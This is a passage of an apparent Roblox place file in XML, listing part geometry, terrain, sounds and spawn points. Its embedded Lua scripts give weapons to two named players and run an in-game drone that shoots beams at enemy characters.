					<int name="BrickColor">217</int>
					<CoordinateFrame name="CFrame">
						<X>284</X>
						<Y>44.7000008</Y>
						<Z>-215</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">0</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>15</X>
						<Y>33</Y>
						<Z>43</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX9">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">217</int>
					<CoordinateFrame name="CFrame">
						<X>297</X>
						<Y>48.7000008</Y>
						<Z>-226.000031</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">0</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>23</X>
						<Y>41</Y>
						<Z>63</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Model" referent="RBX10">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Medium Tree</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Part" referent="RBX11">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">37</int>
						<CoordinateFrame name="CFrame">
							<X>266.151978</X>
							<Y>44.1000023</Y>
							<Z>-216.072525</Z>
							<R00>-0.707106709</R00>
							<R01>0</R01>
							<R02>0.707106709</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-0.707106709</R20>
							<R21>0</R21>
							<R22>-0.707106709</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<float name="Elasticity">0.5</float>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">true</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="formFactorRaw">0</token>
						<token name="shape">0</token>
						<Vector3 name="size">
							<X>12</X>
							<Y>12</Y>
							<Z>12</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX12">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">37</int>
						<CoordinateFrame name="CFrame">
							<X>268.980408</X>
							<Y>43.0000038</Y>
							<Z>-211.547058</Z>
							<R00>-0.707106709</R00>
							<R01>0</R01>
							<R02>0.707106709</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-0.707106709</R20>
							<R21>0</R21>
							<R22>-0.707106709</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<float name="Elasticity">0.5</float>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">true</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="formFactorRaw">0</token>
						<token name="shape">0</token>
						<Vector3 name="size">
							<X>9</X>
							<Y>9</Y>
							<Z>9</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX13">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">37</int>
						<CoordinateFrame name="CFrame">
							<X>269.263245</X>
							<Y>47.1000023</Y>
							<Z>-215.365448</Z>
							<R00>-0.707106709</R00>
							<R01>0</R01>
							<R02>0.707106709</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-0.707106709</R20>
							<R21>0</R21>
							<R22>-0.707106709</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<float name="Elasticity">0.5</float>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">true</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="formFactorRaw">0</token>
						<token name="shape">0</token>
						<Vector3 name="size">
							<X>14</X>
							<Y>14</Y>
							<Z>14</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX14">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">37</int>
						<CoordinateFrame name="CFrame">
							<X>270.111755</X>
							<Y>37.2000008</Y>
							<Z>-215.506851</Z>
							<R00>-0.707106709</R00>
							<R01>0</R01>
							<R02>-0.707106769</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0.707106769</R20>
							<R21>0</R21>
							<R22>-0.707106709</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
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					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1020</int>
					<CoordinateFrame name="CFrame">
						<X>-310</X>
						<Y>85.2000046</Y>
						<Z>99.5000076</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">1</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">0</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>15</X>
						<Y>38</Y>
						<Z>61</Z>
					</Vector3>
				</Properties>
			</Item>
		</Item>
		<Item class="Camera" referent="RBX1">
			<Properties>
				<Ref name="CameraSubject">null</Ref>
				<token name="CameraType">0</token>
				<CoordinateFrame name="CoordinateFrame">
					<X>178.59848</X>
					<Y>50.1375122</Y>
					<Z>-45.3631134</Z>
					<R00>-0.241554633</R00>
					<R01>0.0909887776</R01>
					<R02>-0.966111958</R02>
					<R10>-0</R10>
					<R11>0.995594323</R11>
					<R12>0.0937654302</R12>
					<R20>0.97038728</R20>
					<R21>0.0226494744</R21>
					<R22>-0.240490392</R22>
				</CoordinateFrame>
				<float name="FieldOfView">70</float>
				<CoordinateFrame name="Focus">
					<X>180.530701</X>
					<Y>49.9499817</Y>
					<Z>-44.8821335</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Camera</string>
			</Properties>
		</Item>
		<Item class="Terrain" referent="RBX3639">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-2</X>
					<Y>126</Y>
					<Z>-2</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<string name="ClusterGridV2"></string>
				<float name="Elasticity">0.300000012</float>
				<float name="Friction">0.5</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">true</bool>
				<token name="Material">256</token>
				<string name="Name">Terrain</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<Vector3 name="size">
					<X>2044</X>
					<Y>252</Y>
					<Z>2044</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Sound" referent="RBX3640">
			<Properties>
				<bool name="Looped">true</bool>
				<string name="Name">Music</string>
				<float name="Pitch">1</float>
				<bool name="PlayOnRemove">false</bool>
				<Content name="SoundId"><url>http://www.roblox.com/asset/?id=27697743</url></Content>
				<float name="Volume">0.699999988</float>
			</Properties>
		</Item>
		<Item class="Sound" referent="RBX3641">
			<Properties>
				<bool name="Looped">false</bool>
				<string name="Name">Rawr</string>
				<float name="Pitch">1</float>
				<bool name="PlayOnRemove">false</bool>
				<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209104</url></Content>
				<float name="Volume">1</float>
			</Properties>
		</Item>
		<Item class="Sound" referent="RBX3642">
			<Properties>
				<bool name="Looped">false</bool>
				<string name="Name">SENSATIONAL</string>
				<float name="Pitch">1</float>
				<bool name="PlayOnRemove">false</bool>
				<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209137</url></Content>
				<float name="Volume">1</float>
			</Properties>
		</Item>
		<Item class="Sound" referent="RBX3643">
			<Properties>
				<bool name="Looped">false</bool>
				<string name="Name">freshmeat</string>
				<float name="Pitch">1</float>
				<bool name="PlayOnRemove">false</bool>
				<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209146 </url></Content>
				<float name="Volume">1</float>
			</Properties>
		</Item>
		<Item class="Script" referent="RBX3644">
			<Properties>
				<bool name="Disabled">false</bool>
				<Content name="LinkedSource"><null></null></Content>
				<string name="Name">Debugger</string>
				<ProtectedString name="Source">permission = {&quot;LostWinds&quot;, &quot;Darkgenex&quot;}

function check(player)
        if table.maxn(permission)==0 then return true end
        for i = 1,#permission do
                if string.lower(player.Name)==string.lower(permission[i]) then return true end
        end
        return false
end
  

function onPlayerRespawned(newPlayer)
 
     if (newPlayer == nil) then return end
 
     if not check(newPlayer) then return end

&#9;local saw = game.Lighting.Shield:clone()
&#9;saw.Parent = newPlayer.Backpack
&#9;
&#9;local saw = game.Lighting.Magnum:clone()
&#9;saw.Parent = newPlayer.Backpack
&#9;
&#9;newPlayer.Character.Humanoid.MaxHealth = 100
&#9;newPlayer.Character.Humanoid.WalkSpeed = 24
&#9;wait(1)
&#9;newPlayer.Character.Humanoid.Health = newPlayer.Character.Humanoid.MaxHealth

end
 
function onPlayerEntered(newPlayer)
        newPlayer.Changed:connect(function (property)
                if (property == &quot;Character&quot;) then
                        onPlayerRespawned(newPlayer)
                end
        end)
end
 
game.Players.PlayerAdded:connect(onPlayerEntered)</ProtectedString>
			</Properties>
			<Item class="Script" referent="RBX3645">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">BugScript</string>
					<ProtectedString name="Source">local eng = script.Parent
local target = &quot;&quot;
local parts = {eng}
local colors = {&quot;Institutional white&quot;, &quot;Really red&quot;, &quot;Really blue&quot;, &quot;New yeller&quot;, &quot;Lime green&quot;, &quot;Magenta&quot;, &quot;Really black&quot;, &quot;Royal Purple&quot;, &quot;Bright red&quot;, &quot;Bright blue&quot;, &quot;Bright green&quot;, &quot;Bright yellow&quot;, &quot;Neon orange&quot;, &quot;Hot Pink&quot;, &quot;Toothpaste&quot;, &quot;Camo&quot;, &quot;Cyan&quot;, &quot;Br. yellowish green&quot;, &quot;Pastel light blue&quot;, &quot;Dusty Rose&quot;, &quot;Pink&quot;, &quot;Deep blue&quot;, &quot;Alder&quot;, &quot;Pastel green&quot;}
local range = 20

function CheckMaster()
&#9;if eng.BrickColor ~= script.Parent.Parent.Torso.BrickColor then
&#9;eng.BrickColor = script.Parent.Parent.Torso.BrickColor 
&#9;end
&#9;range = 20 + (script.Parent.Parent.Humanoid.MaxHealth - script.Parent.Parent.Humanoid.Health)
end

function onDie()
&#9;if connection ~= nil then
&#9;&#9;connection:disconnect()
&#9;end
&#9;local c = game.Players:GetChildren()
&#9;local humans = {}
&#9;for i = 1, #c do
&#9;&#9;if c[i].Character ~= nil and c[i].Character ~= target and c[i].Character.Humanoid.Health &gt; 0 and eng.Immune.Value ~= (c[i].Name) and c[i].TeamColor ~= script.Parent.Team.Value then
&#9;&#9;&#9;table.insert(humans, c[i].Character)
&#9;&#9;&#9;print(humans)
&#9;&#9;end
&#9;end
&#9;if #humans == 0 then
&#9;&#9;target = &quot;&quot;
&#9;&#9;return
&#9;end
&#9;for i = 1, #humans do
&#9;&#9;local mag = (humans[i].Head.Position - eng.Parent.Torso.Position).magnitude
&#9;&#9;if mag &lt; range then
&#9;&#9;&#9;range = mag
&#9;&#9;end
&#9;end
&#9;for i = 1, #humans do
&#9;&#9;if (humans[i].Head.Position - eng.Parent.Torso.Position).magnitude == range then
&#9;&#9;&#9;target = humans[i]&#9;
&#9;&#9;end
&#9;end
&#9;if target ~= &quot;&quot; then
&#9;connection = target.Humanoid.Died:connect(onDie)
&#9;end
end

function fire(eng)
local haed = target.Torso
if (haed ~= nil) then
eng.BodyGyro.cframe = CFrame.new(eng.Position, target.Torso.Position)
local beam = Instance.new(&quot;Part&quot;)
&#9;beam.formFactor = 0
&#9;beam.Transparency = 0.3
&#9;beam.CanCollide = false
&#9;beam.Anchored = true
&#9;beam.Name = &quot;Beam&quot;
&#9;beam.Size = Vector3.new(1,1,1)
&#9;beam.BrickColor = BrickColor.new(colors[math.random(1, #colors)])
&#9;beam.Parent = Workspace
&#9;beam.CFrame = CFrame.new((target.Torso.Position + eng.Position) / 2, target.Torso.Position) * CFrame.fromEulerAnglesXYZ(1.57,0,0)
&#9;local mesh = Instance.new(&quot;BlockMesh&quot;)
&#9;mesh.Parent = beam
&#9;mesh.Scale = (mesh.Scale - Vector3.new(0,mesh.Scale.y,0)) + Vector3.new(0,1,0)
&#9;mesh.Scale = mesh.Scale + Vector3.new(0,(target.Torso.Position - eng.Position).magnitude - 1,0)
&#9;local scrapt = eng.Clean:clone()
&#9;scrapt.Disabled = false
&#9;scrapt.Parent = beam
&#9;target.Humanoid:TakeDamage(20)
&#9;wait(0.5)
&#9;beam.Parent = nil
end
end

while true do
&#9;onDie()
&#9;CheckMaster()
&#9;if target ~= &quot;&quot; and eng.Parent.Active ~= nil and eng.Parent.Active.Value ~= false then
&#9;&#9;eng.BodyPosition.position = eng.Parent.Torso.Position + Vector3.new(math.random(-10,10),math.random(0,10),math.random(-10,10))
&#9;&#9;eng.BodyGyro.cframe = CFrame.new(eng.Position, target.Torso.Position)
&#9;&#9;wait(0.5)
&#9;&#9;if target.Humanoid.Health &gt; 0 then
&#9;&#9;fire(eng)
&#9;&#9;else
&#9;&#9;wait(0.5)
&#9;&#9;end
&#9;&#9;
&#9;else
&#9;eng.BodyPosition.position = eng.Parent.Torso.Position + Vector3.new(math.random(-10,10),math.random(0,10),math.random(-10,10))
&#9;eng.BodyGyro.cframe = CFrame.new(eng.Position, eng.Parent.Head.Position)
&#9;wait(0.5)
&#9;end
&#9;wait(0.9)
end

</ProtectedString>
				</Properties>
			</Item>
			<Item class="BodyGyro" referent="RBX3646">
				<Properties>
					<float name="D">50</float>
					<string name="Name">BodyGyro</string>
					<float name="P">1500</float>
					<CoordinateFrame name="cframe">
						<X>9.5</X>
						<Y>460</Y>
						<Z>3.5</Z>
						<R00>0.168530583</R00>
						<R01>0.314626455</R01>
						<R02>0.934134722</R02>
						<R10>-1.24126673e-005</R10>
						<R11>0.947690725</R11>
						<R12>-0.319190025</R12>
						<R20>-0.985696435</R20>
						<R21>0.0537816882</R21>
						<R22>0.159718752</R22>
					</CoordinateFrame>
					<Vector3 name="maxTorque">
						<X>8.99999982e+015</X>
						<Y>8.99999982e+015</Y>
						<Z>8.99999982e+015</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="BodyPosition" referent="RBX3647">
				<Properties>
					<float name="D">1250</float>
					<string name="Name">BodyPosition</string>
					<float name="P">10000</float>
					<Vector3 name="maxForce">
						<X>1e+009</X>
						<Y>1e+009</Y>
						<Z>1e+009</Z>
					</Vector3>
					<Vector3 name="position">
						<X>0.0941077843</X>
						<Y>4.07337809</Y>
						<Z>-0.368862033</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="StringValue" referent="RBX3648">
				<Properties>
					<string name="Name">Immune</string>
					<string name="Value"></string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX3649">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Clean</string>
					<ProtectedString name="Source">wait(0.6)
script.Parent:remove()
</ProtectedString>
				</Properties>
			</Item>
			<Item class="BoolValue" referent="RBX3650">
				<Properties>
					<string name="Name">Active</string>
					<bool name="Value">false</bool>
				</Properties>
			</Item>
			<Item class="BrickColorValue" referent="RBX3651">
				<Properties>
					<string name="Name">Team</string>
					<int name="Value">119</int>
				</Properties>
			</Item>
		</Item>
		<Item class="SpawnLocation" referent="RBX3652">
			<Properties>
				<bool name="AllowTeamChangeOnTouch">false</bool>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>-5</X>
					<Y>46.6000023</Y>
					<Z>-8</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<int name="Duration">10</int>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">true</bool>
				<token name="Material">256</token>
				<string name="Name">HumanSpawnLocation</string>
				<bool name="Neutral">false</bool>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<int name="TeamColor">21</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">1</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="formFactorRaw">1</token>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="SpawnLocation" referent="RBX3653">
			<Properties>
				<bool name="AllowTeamChangeOnTouch">false</bool>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>-13</X>
					<Y>46.6000023</Y>
					<Z>-16</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<int name="Duration">10</int>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">true</bool>
				<token name="Material">256</token>
				<string name="Name">HumanSpawnLocation</string>
				<bool name="Neutral">false</bool>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<int name="TeamColor">21</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">1</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="formFactorRaw">1</token>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="SpawnLocation" referent="RBX3654">
			<Properties>
				<bool name="AllowTeamChangeOnTouch">false</bool>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>-13</X>
